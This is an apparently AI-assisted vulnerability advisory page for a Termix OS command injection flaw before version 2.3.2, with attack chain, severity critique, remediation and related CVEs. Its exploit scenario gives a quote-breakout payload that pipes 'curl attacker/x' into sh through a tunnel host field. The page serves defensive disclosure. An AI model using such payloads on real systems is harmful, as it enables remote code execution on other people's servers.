EUVD-2026-62860Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessAuthenticate to Termix UI
-
DeliveryEdit tunnel host field with quote-breakout payload
-
ExploitTrigger tunnel disconnect (DELETE endpoint)
-
ExecutionPayload injected into pkill -f pattern
-
PersistShell executes command on source SSH host
-
ImpactArbitrary code as SSH account
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK
2 techniques across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Requires an authenticated Termix account with permission to create or edit a tunnel's host fields (endpointIP, endpointUsername, endpointPort, or sourcePort), and the injected payload only fires when the tunnel is disconnected via DELETE /ssh/tunnel/disconnect/:tunnelName. Limiting factors: this is NOT unauthenticated despite the published PR:N - the attacker must already be able to edit a tunnel definition, the resulting command runs on the source SSH host with only the privileges of the connected SSH account (not necessarily root), and a disconnect event must occur to trigger execution. Affected only on versions prior to 2.3.2. |
| Impact | The published CVSS 3.1 vector (AV:N/AC:L/PR:N/UI:N, base 9.8) conflicts with the description, which explicitly requires 'an authenticated user who can edit a tunnel host field' - this is authenticated, config-level access, so PR:N is almost certainly overstated and PR:L (or higher, since editing tunnel definitions is a privileged operation) is more accurate; realistic base is closer to 8.x. There is no CISA KEV listing and no EPSS score supplied, and no public POC is referenced, so this is not confirmed to be under active or automatable exploitation. The signal balance is: high technical impact (full command execution as the SSH account) but a meaningful precondition (authenticated tunnel-edit rights plus a disconnect event), making this a serious-but-not-drive-by issue for internet-exposed or multi-user Termix instances rather than a mass-exploited network worm target. Treat as high priority for any Termix deployment with more than one trusted user or with the UI exposed beyond localhost. |
| Exploit ScenarioDerived | A low-privilege but authenticated Termix user edits a tunnel and sets the endpoint IP or username to a value like 1.2.3.4' ; curl attacker/x | sh ; ' so that the injected command sits inside the pkill -f pattern. When that tunnel is later disconnected (by the user or automatically), the backend runs the pkill command through a shell and the appended payload executes on the source SSH host as the connected SSH account. No public POC is referenced, but the technique is straightforward single-quote breakout of a shell command. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Aug 19, 2026
OS command injection in Termix (self-hosted web SSH/tunneling platform) before 2.3.2 lets an authenticated user who can edit a tunnel's host fields achieve arbitrary command execution. Attacker-controlled values (endpointPort, sourcePort, endpointUsername, endpointIP) are interpolated into single-quoted pkill -f patterns in src/backend/ssh/tunnel.ts, so a single quote breaks out of the pattern and appends a shell command that runs when DELETE /ssh/tunnel/disconnect/:tunnelName tears the tunnel down. Commands execute on the source SSH host with the privileges of the connected SSH account. No public exploit identified at time of analysis; fixed in 2.3.2.
RemediationAI
Upgrade to Termix 2.3.2 (Vendor-released patch: 2.3.2, https://github.com/Termix-SSH/Termix/releases/tag/release-2.3.2-tag), which sanitizes the interpolated tunnel fields in the disconnect path. Until you can patch, restrict who can create or edit tunnel host definitions to fully trusted operators only and audit existing tunnel configurations for suspicious single-quote or shell metacharacters in the endpoint IP, endpoint username, and port fields; the trade-off is reduced self-service for legitimate users. Additionally, keep the Termix web interface bound to localhost or behind an authenticating reverse proxy / VPN rather than exposed publicly (trade-off: remote admins must tunnel in), and run the backend SSH connections under least-privilege accounts so that a successful injection yields the lowest-value shell possible. Reference the advisory GHSA-5p86-jgr7-4hwx for details.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Termix is a Node.js/TypeScript web application that manages SSH terminals, port-forwarding tunnels, and remote file editing. The teardown routine builds a shell command to locate and kill the ssh process backing a tunnel using pkill -f with a match pattern assembled from tunnel metadata (endpoint port, source port, endpoint username, endpoint IP). Because these fields are wrapped in single quotes and concatenated as strings rather than passed as separate argv arguments or safely escaped, the code is a textbook CWE-78 (Improper Neutralization of Special Elements used in an OS Command). A single quote terminates the quoted literal and everything after it is interpreted by the shell; the fix in commit 52f4e51 / PR #874 (release-2.3.2-tag) addresses this input handling.
Know when Termix gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Network-reachable web UI (AV:N/AC:L) but requires an authenticated user with tunnel-edit rights (PR:L, not PR:N); command execution yields full C/I/A impact on the SSH host.
Primary rating from Vendor (GitHub_M).
CVSS VectorVendor: GitHub_M
Lifecycle Timeline
2DescriptionCVE.org
Termix is a web-based server management platform with SSH terminal, tunneling, and file editing capabilities. Prior to 2.3.2, the DELETE /ssh/tunnel/disconnect/:tunnelName teardown path in src/backend/ssh/tunnel.ts interpolates endpointPort, sourcePort, endpointUsername, and endpointIP into single-quoted pkill -f patterns. An authenticated user who can edit a tunnel host field can include a single quote to terminate the pattern and append a shell command, which executes when the tunnel is disconnected. Successful exploitation runs arbitrary commands on the source SSH host with the privileges of the connected SSH account. This issue is fixed in version 2.3.2.
Executive ViewAI
Termix self-hosted SSH/tunneling platform versions before 2.3.2 contain a critical command injection vulnerability allowing authenticated users with tunnel-edit privileges to execute arbitrary commands on backend SSH hosts with the privileges of the connected SSH account. This vulnerability directly threatens the integrity and confidentiality of infrastructure accessed through Termix. Organizations operating affected deployments should immediately audit user access controls and prioritize patching.
Apply vendor patch: Termix 2.3.2
Threat Intelligence Overview
NVD
CVE.org
EPSS
Vulnrichment
GitHub
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
Unauthenticated attackers can retrieve stored SSH host credentials - including addresses, usernames, and passwords - fro
Stored XSS in Termix File Manager (versions 1.7.0-1.9.0) allows attackers with SSH server access to execute arbitrary Ja
Remote command execution in Termix web-based server management platform (versions prior to 2.3.2) allows any authenticat
Remote code execution in Termix (self-hosted web-based server management platform) before version 2.1.0 lets an authenti
OS command injection in Termix web-based server management platform prior to version 2.3.2 allows remote unauthenticated
Cross-user SSH credential disclosure in Termix, a self-hosted web server-management platform, allows an authenticated lo
Broken authorization in Termix (self-hosted web-based SSH/server management platform) before 2.6.1 lets any authenticate
Command injection in Termix 2.4.1 through 2.5.0 lets an authenticated administrator execute arbitrary operating-system c
Cross-tenant remote code execution in Termix (web-based SSH/file management platform) prior to version 2.3.2 allows an a
Command injection in Termix server management platform before version 2.3.2 allows authenticated users to execute arbitr
Remote command injection in Termix, a web-based SSH server management platform, allows any authenticated user with file-
Unauthorized data exposure in Termix prior to 2.3.2 allows a low-privileged authenticated user to exfiltrate password-re
Exploit-DB